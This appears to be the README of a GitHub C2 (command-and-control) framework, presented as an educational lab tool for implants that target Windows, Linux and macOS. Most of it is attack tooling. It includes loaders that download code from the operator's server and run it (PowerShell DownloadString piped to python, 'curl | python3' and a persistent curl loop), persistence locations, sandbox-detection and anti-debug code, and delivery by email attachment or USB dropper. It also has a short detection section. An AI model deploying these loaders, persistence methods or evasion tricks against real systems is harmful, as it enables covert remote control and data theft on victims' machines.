parrysecurity/C2-Framework
GitHub: parrysecurity/C2-Framework
一个面向教学场景的轻量级命令与控制框架,帮助安全从业者在隔离实验室中理解 C2 通信机制、持久化方法和检测规避技术。
Stars: 0 | Forks: 0
# 🕶️ C2 Framework - 企业级命令与控制基础设施
[](LICENSE)
[](https://python.org)
[](LICENSE)
[]()
## 📋 目录
- [概述](#-overview)
- [功能](#-features)
- [架构](#-architecture)
- [实验环境设置要求](#-lab-setup-requirements)
- [快速入门指南](#-quick-start-guide)
- [详细安装说明](#-detailed-installation)
- [使用指南](#-usage-guide)
- [跨平台部署](#-cross-platform-deployment)
- [实现的规避技术](#-evasion-techniques-implemented)
- [检测与防御](#-detection--defense)
- [故障排除](#-troubleshooting)
- [教育模块](#-educational-modules)
- [项目结构](#-project-structure)
- [法律与道德](#-legal--ethics)
- [贡献](#-contributing)
- [许可证](#-license)
## 🎯 概述
本**命令与控制 (C2) 框架**是一个综合性的教育工具,旨在演示攻击者如何在受损环境中建立隐蔽通信通道、维持持久性并规避检测。专为网络安全专业人员、红队、蓝队和学生打造,帮助其了解现实世界中攻击者的操作手法。
### 你将学到什么
- ✅ C2 通道的底层运行机制
- ✅ Beaconing 算法与抖动 实现
- ✅ 加密通信协议
- ✅ 跨平台持久化机制
- ✅ 检测规避技术
- ✅ 用于 C2 检测的网络流量分析
## ✨ 功能
### 核心功能
| 功能 | 描述 | 状态 |
|---------|-------------|--------|
| **多平台 Implant** | 支持 Windows, Linux, macOS | ✅ |
| **HTTP/HTTPS C2 通道** | 加密通信 | ✅ |
| **Web 仪表盘** | 实时操作员控制台 | ✅ |
| **多 Agent 管理** | 同时控制多个主机 | ✅ |
| **任务队列** | 异步命令执行 | ✅ |
| **文件传输** | 上传/下载功能 | ✅ |
| **持久化** | Registry, crontab, launchd | ✅ |
| **屏幕截图** | 远程截图功能 | ✅ |
### 技术规格
- **服务器**: 基于 Flask 的 REST API
- **加密**: AES-256-GCM + RSA-2048 (可选)
- **Beacon 间隔**: 可配置抖动 (1-60 秒)
- **数据库**: SQLite (轻量级) / MySQL (生产环境)
- **通信**: 通过 HTTP/HTTPS 传输 JSON
─────────────────────────────────────────────────────────────────┐
│ 操作员区域 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌──────────────┐ │
│ │ Web UI │◄───────►│ CLI 工具 │ │
│ │ 端口 5000 │ │ (可选) │ │
│ └──────┬───────┘ └──────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────────────┐ │
│ │ C2 服务器 │ │
│ │ 端口 443 (HTTPS) / 5000 (HTTP) │ │
│ └──────────────┬───────────────────────────┘ │
│ │ │
│ │ 加密 C2 通道 │
│ │ (HTTP/HTTPS + AES/RSA) │
└──────────────────┼────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ 受损区域 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ Implant │ │ Implant │ │ Implant │ │
│ │ (Windows) │ │ (Linux) │ │ (macOS) │ │
│ └──────────────┘ └──────────────┘ └──────────────┘ │
│ │
│ 每个 Implant: │
│ • 以随机间隔发送 Beacon │
│ • 执行远程命令 │
│ • 窃取数据 │
│ • 维持持久化 │
└─────────────────────────────────────────────────────────────────┘
### 通信流程
1. **注册**: Implant → 服务器 (系统信息,密钥交换)
2. **Beaconing**: Implant → 服务器 (心跳,任务检查)
3. **任务分配**: 服务器 → Implant (命令执行)
4. **结果交付**: Implant → 服务器 (命令输出)
## 🖥️ 实验环境设置要求
### 硬件要求
| 组件 | 最低要求 | 推荐配置 |
|-----------|---------|-------------|
| **内存** | 8GB | 16GB |
| **CPU** | 2 核心 | 4+ 核心 |
| **存储** | 20GB | 50GB SSD |
| **网络** | 隔离的实验网络 | Host-Only + NAT |
### 软件要求
```
# 操作系统
- C2 Server: Kali Linux 2024+ / Ubuntu 22.04+
- Target Machines: Windows 10/11, Ubuntu 20.04+, macOS 12+
# Python 依赖
Python 3.8+
Flask
Requests
PyCryptodome (optional, for encryption)
Virtual Network Configuration
┌─────────────────────────────────────────────────┐
│ VIRTUALBOX NETWORK SETUP │
├─────────────────────────────────────────────────┤
│ │
│ [Kali VM] ─────┐ │
│ (172.24.1.83) │ │
│ │ Host-Only Network │
│ [Windows VM] ──┼──── 192.168.56.0/24 │
│ (192.168.56.10)│ or Bridged Adapter │
│ │ │
│ [Ubuntu VM] ───┘ │
│ (192.168.56.11) │
└─────────────────────────────────────────────────┘
🚀 Quick Start Guide
5-Minute Setup
Step 1: Clone Repository (On Kali/Server)
bash
git clone https://github.com/yourusername/c2-framework.git
cd c2-framework
chmod +x setup.sh
sudo ./setup.sh
Step 2: Start C2 Server
bash
# 终端 1 - 启动 C2 server
python3 c2_server_http.py
Expected output:
text
============================================================
C2 HTTP Server Started Successfully!
============================================================
[+] Dashboard URL: http://172.24.1.83:5000
[+] API Endpoint: http://172.24.1.83:5000/api
[+] Press Ctrl+C to stop the server
============================================================
Step 3: Start File Server (For Payload Distribution)
bash
# 终端 2 - 通过 HTTP 共享 payloads
cd ~/c2-framework/payloads
python3 -m http.server 8000
Step 4: Deploy Implant to Target (Windows VM)
powershell
# 在 Windows PowerShell (管理员) 中
curl -o C:\implant.py http://172.24.1.83:8000/windows_implant.py
python C:\implant.py
Step 5: Access Web Dashboard
Open browser on Windows/Kali:
text
http://172.24.1.83:5000
✅ You're now controlling a remote system!
📥 Detailed Installation
On Kali/Ubuntu (C2 Server)
bash
# 1. 系统更新
sudo apt update && sudo apt upgrade -y
# 2. 安装依赖
sudo apt install -y python3 python3-pip git openssl
# 3. 创建项目目录
mkdir -p ~/c2-framework/{server,payloads,logs}
cd ~/c2-framework
# 4. 安装 Python 包
pip3 install flask flask-cors requests
# 5. 创建 SSL 证书 (用于 HTTPS)
openssl req -x509 -newkey rsa:4096 -nodes \
-out cert.pem -keyout key.pem \
-days 365 -subj "/C=US/ST=State/L=City/O=C2/CN=localhost"
# 6. 验证安装
python3 -c "import flask; print('Flask OK')"
On Windows VM (Target Machine)
powershell
# 1. 安装 Chocolatey (Package Manager)
Set-ExecutionPolicy Bypass -Scope Process -Force
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
# 2. 通过 Chocolatey 安装 Python
choco install python -y
# 3. 刷新环境变量
refreshenv
# 4. 安装所需的 Python 包
pip install requests
# 5. 验证 Python 安装
python --version
On Linux Target (Ubuntu/Debian)
bash
# 若不存在则安装 Python
sudo apt update
sudo apt install -y python3 python3-pip
# 安装 requests
pip3 install requests
# 运行 implant
python3 implant.py
📖 Usage Guide
Web Dashboard Interface
1. Agent Management
View Agents: All connected agents appear in left panel
Agent Details: Hostname, username, OS, IP address
Status Indicators: Green = Active, Red = Inactive
2. Command Execution
Available Commands:
┌─────────────────┬────────────────────────────────────────┐
│ Command │ Description │
├─────────────────┼────────────────────────────────────────┤
│ whoami │ Display current user │
│ ipconfig │ Network configuration (Windows) │
│ ifconfig │ Network configuration (Linux/macOS) │
│ dir / ls │ List directory contents │
│ cd │ Change working directory │
│ tasklist / ps │ List running processes │
│ systeminfo │ System information │
│ netstat -an │ Network connections │
│ echo "text" │ Write to file │
│ type │ Read file contents │
└─────────────────┴────────────────────────────────────────┘
3. Sending Commands
bash
# 方法 1: Web Dashboard
1. Click on agent in left panel
2. Type command in input box
3. Press Enter or click Execute
# 方法 2: 直接 API
curl -X POST http://C2_IP:5000/api/send_command \
-H "Content-Type: application/json" \
-d '{"agent_id":"AGENT_ID","command":"whoami"}'
CLI Operations (Advanced)
bash
# 列出所有 agents
curl http://172.24.1.83:5000/api/agents
# 向特定 agent 发送命令
curl -X POST http://172.24.1.83:5000/api/send_command \
-H "Content-Type: application/json" \
-d '{"agent_id":"df73f1e0","command":"whoami"}'
# 获取 agent 的 task 结果
curl http://172.24.1.83:5000/api/task_results/df73f1e0
# 注册测试 agent (调试)
curl -X POST http://172.24.1.83:5000/api/register \
-H "Content-Type: application/json" \
-d '{"hostname":"test","username":"user","os_type":"Linux","ip_address":"127.0.0.1"}'
🔄 Cross-Platform Deployment
Generate Payloads for Different OS
Windows Payloads
bash
# 在 Kali 上 - 生成 Windows payloads
cd ~/c2-framework/payloads
# Python 脚本 (目标机器上需要 Python)
python3 -c "print(open('windows_implant.py').read())" > implant.py
# PowerShell loader
cat > loader.ps1 << 'EOF'
$wc=New-Object System.Net.WebClient
$wc.DownloadString('http://172.24.1.83:8000/implant.py') | python -
EOF
# Batch 文件 loader
cat > loader.bat << 'EOF'
@echo off
powershell -ExecutionPolicy Bypass -File loader.ps1
EOF
Linux/macOS Payloads
bash
# Bash one-liner
curl -s http://172.24.1.83:8000/implant.py | python3 &
# Persistent 脚本
cat > implant.sh << 'EOF'
#!/bin/bash
while true; do
python3 -c "$(curl -s http://172.24.1.83:8000/implant.py)" 2>/dev/null
sleep 60
done
EOF
chmod +x implant.sh
Deployment Methods
Method Command Use Case
Direct Download curl -o implant.py http://C2_IP:8000/implant.py Quick testing
PowerShell powershell -c "iex (New-Object Net.WebClient).DownloadString('http://C2_IP:8000/loader.ps1')" Windows stealth
SMB Share copy \\C2_IP\share\implant.py . Internal networks
Email Attachment Manual delivery Social engineering
USB Dropper Physical access Air-gapped networks
🛡️ Evasion Techniques Implemented
Network Evasion
python
# 1. Beacon Jitter - 随机延迟以避免模式检测
sleep_time = base_sleep + random.randint(-jitter, jitter)
# 2. User-Agent 随机化
user_agents = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)',
'Mozilla/5.0 (X11; Linux x86_64)'
]
# 3. Domain Fronting (HTTPS)
# Host header 不同于连接 domain
# 4. 加密 Payloads (AES-256-GCM)
cipher = AES.new(session_key, AES.MODE_GCM)
Host Evasion
python
# 1. Sandbox Detection
def is_sandbox():
checks = [
os.path.exists('/.dockerenv'),
os.path.exists('/.dockerinit'),
'vbox' in platform.uname().version.lower()
]
return any(checks)
# 2. Anti-Debug
def anti_debug():
import sys
if sys.gettrace() is not None:
sys.exit(0)
# 3. Process Hollowing (Windows)
# 注入到合法进程中
Persistence Mechanisms
OS Method Location
Windows Registry Run Key HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Windows Scheduled Task schtasks /create
Windows Startup Folder %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
Linux Crontab @reboot python3 /path/to/implant.py
Linux Systemd Service /etc/systemd/system/
Linux .bashrc/.profile ~/.bashrc, ~/.profile
macOS Launch Agent ~/Library/LaunchAgents/
macOS Login Hook defaults write com.apple.loginwindow
🔍 Detection & Defense
How Blue Teams Can Detect This C2
Network Indicators
yaml
Beacon Patterns:
- Regular intervals with jitter (5-15 seconds)
- HTTP POST to /api/beacon, /api/register
- JSON payloads with agent_id field
- Unusual User-Agent strings
Detection Rules (Snort/Suricata):
alert tcp $HOME_NET any -> $EXTERNAL_NET 5000
(msg:"Potential C2 Beacon";
content:"/api/beacon"; http_uri;
sid:1000001;)
Host Indicators
yaml
Windows:
- Suspicious Python processes
- Registry run keys with python.exe
- Unusual scheduled tasks
- Temp directory Python scripts
Linux:
- Unexpected crontab entries
- Systemd services named oddly
- Outbound connections on port 5000/443
- Python processes with network connections
Memory Forensics (Volatility)
bash
# 检测注入的代码
vol.py -f memory.dump --profile=Win10x64 malfind
# 列出网络连接
vol.py -f memory.dump netscan
# 检测隐藏进程
vol.py -f memory.dump pslist
Defensive Measures
powershell
# 1. 阻断出站端口
New-NetFirewallRule -DisplayName "Block C2 Ports" -Direction Outbound -LocalPort 5000,8000,4443 -Protocol TCP -Action Block
# 2. 监控 Python 执行
auditpol /set /subcategory:"Process Creation" /success:enable
# 3. AppLocker rules (Windows)
# 将脚本执行限制在特定目录
# 4. EDR Detection
# 监控 beaconing patterns、异常的 parent-child 进程
🐛 Troubleshooting
Common Issues & Solutions
Issue Cause Solution
"Connection refused" Server not running python3 c2_server_http.py
"No module named flask" Missing dependency pip3 install flask flask-cors
Agents not showing Network isolation Check VM network settings
Commands timeout Firewall blocking sudo ufw allow 5000
SSL certificate error Self-signed cert Use verify=False or HTTP
Python not found (Windows) Python not installed Install from python.org
Debug Commands
bash
# 检查 server 是否在监听
sudo netstat -tlnp | grep 5000
# 在本地测试 API
curl http://localhost:5000/api/agents
# 查看 server 日志
tail -f /var/log/c2-server.log
# 从 Windows 测试连通性
Test-NetConnection 172.24.1.83 -Port 5000
ping 172.24.1.83
# 重启所有内容
sudo fuser -k 5000/tcp
python3 c2_server_http.py
VirtualBox Network Fix
bash
# 在 Kali 上 - 重置网络
sudo systemctl restart networking
sudo dhclient -r
sudo dhclient
# 在 Windows 上 - 重置网络
ipconfig /release
ipconfig /renew
netsh winsock reset
# 两台 VM 应使用相同的适配器类型
# 推荐: Bridged Adapter 或 Host-Only
📚 Educational Modules
Module 1: C2 Communication Basics
Objective: Understand beaconing and tasking
Exercise: Modify beacon interval and observe traffic
Module 2: Encryption Implementation
Objective: Implement AES encryption for C2 traffic
Exercise: Add encryption layer to implant-server communication
Module 3: Evasion Techniques
Objective: Learn common evasion methods
Exercise: Implement process injection or DLL sideloading
Module 4: Persistence Mechanisms
Objective: Understand persistence across OSes
Exercise: Add new persistence method (e.g., WMI Event Subscription)
Module 5: Detection Engineering
Objective: Create detection rules for C2 traffic
Exercise: Write YARA/Sigma rules to detect this framework
📁 Project Structure
text
c2-framework/
├── 📄 README.md # Documentation
├── 📄 LICENSE # Educational use license
├── 📄 setup.sh # Automated setup script
│
├── 🐍 c2_server_http.py # HTTP C2 server (recommended)
├── 🐍 c2_server_https.py # HTTPS C2 server (SSL)
├── 🐍 c2_server_robust.py # Production-ready server
│
├── 📁 payloads/
│ ├── 🐍 windows_implant.py # Windows/Linux/macOS agent
│ ├── 📜 loader.ps1 # PowerShell loader
│ ├── 📜 loader.bat # Batch loader
│ ├── 📜 implant.sh # Linux/macOS script
│ └── 📜 loader.vbs # VBScript loader
│
├── 📁 modules/
│ ├── 🐍 crypto.py # Encryption utilities
│ ├── 🐍 evasion.py # Anti-detection methods
│ └── 🐍 persistence.py # Persistence modules
│
├── 📁 web/
│ ├── 🎨 dashboard.html # Web UI template
│ ├── 🎨 style.css # Styling
│ └── 📜 console.js # Frontend logic
│
├── 📁 logs/
│ ├── 📄 agents.log # Agent activity
│ ├── 📄 commands.log # Command history
│ └── 📄 errors.log # Error logging
│
└── 📁 docs/
├── 📄 architecture.md # System design
├── 📄 deployment.md # Deployment guide
└── 📄 detection.md # Detection strategies
⚖️ Legal & Ethics
Acceptable Use
✅ Permitted:
Cybersecurity training in isolated labs
Penetration testing with written authorization
Academic research in controlled environments
CTF competitions and red team exercises
❌ Prohibited:
Unauthorized access to any system
Deployment on production systems without permission
Malicious use for data theft or damage
Violation of computer fraud laws
Legal Compliance
yaml
Laws & Regulations:
- CFAA (US): Computer Fraud and Abuse Act
- GDPR (EU): General Data Protection Regulation
- Computer Misuse Act (UK)
- Similar laws in your jurisdiction
Authorization Requirements:
- Written permission from system owner
- Defined scope of testing
- Confidentiality agreements
- Reporting requirements
Responsible Disclosure
If you discover security issues in this framework:
Do not exploit for unauthorized purposes
Report to maintainers immediately
Allow 90 days for fixes before public disclosure
🤝 Contributing
Areas for Contribution
🐛 Bug fixes and stability improvements
🔒 Additional evasion techniques
🖥️ More platform support (Android, iOS)
📊 Enhanced reporting features
🔌 Plugin system for modules
🧪 Unit tests and CI/CD pipeline
How to Contribute
bash
1. Fork repository
2. Create feature branch
git checkout -b feature/amazing-feature
3. Commit changes
git commit -m 'Add amazing feature'
4. Push to branch
git push origin feature/amazing-feature
5. Open Pull Request
Coding Standards
Python: PEP 8 compliance
Comments: Required for complex logic
Testing: Add tests for new features
Documentation: Update README accordingly
📄 License
text
EDUCATIONAL USE ONLY LICENSE
Copyright (c) 2024 C2 Framework Contributors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software for EDUCATIONAL PURPOSES ONLY, subject to the following conditions:
1. The software may only be used in controlled laboratory environments
2. Written authorization must be obtained before testing any system
3. The software may not be used for any malicious purposes
4. This notice shall be included in all copies or substantial portions
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
THE AUTHORS ARE NOT RESPONSIBLE FOR ANY ILLEGAL USE OF THIS SOFTWARE.
📞 Support & Resources
Documentation
Detailed Wiki
API Reference
Video Tutorials
Community
Discord Server: [Invite Link]
Twitter: [@C2Framework]
Email: c2-framework@educational.org
Recommended Reading
"Command and Control" by Rob Joyce (NSA)
"C2 Threat Intelligence" by MITRE ATT&CK
"Malware Analysis and Detection" by Michael Sikorski
⭐ Acknowledgments
MITRE ATT&CK Framework for TTP classification
Open Source Community for libraries
Cybersecurity educators worldwide
📊 Project Status
text
🟢 ACTIVE - Educational Maintenance Mode
Last Updated: 2024
Python Version: 3.8+
Tested On:
✅ Kali Linux 2024.1
✅ Ubuntu 22.04 LTS
✅ Windows 10/11
✅ macOS Ventura+
Remember: With great power comes great responsibility. Use this knowledge to defend, not exploit.
## 🏗️ 架构
```
标签:C2框架, DAST, DNS 反向解析, DNS 解析, Google搜索, IP 地址批量处理, Python, Web控制台, 免杀技术, 加密通信, 命令与控制, 安全学习资源, 恶意软件分析, 教育工具, 数据展示, 无后门, 暴力破解检测, 红队, 网络信息收集, 网络安全, 远控木马, 逆向工具, 隐私保护, 隐蔽通信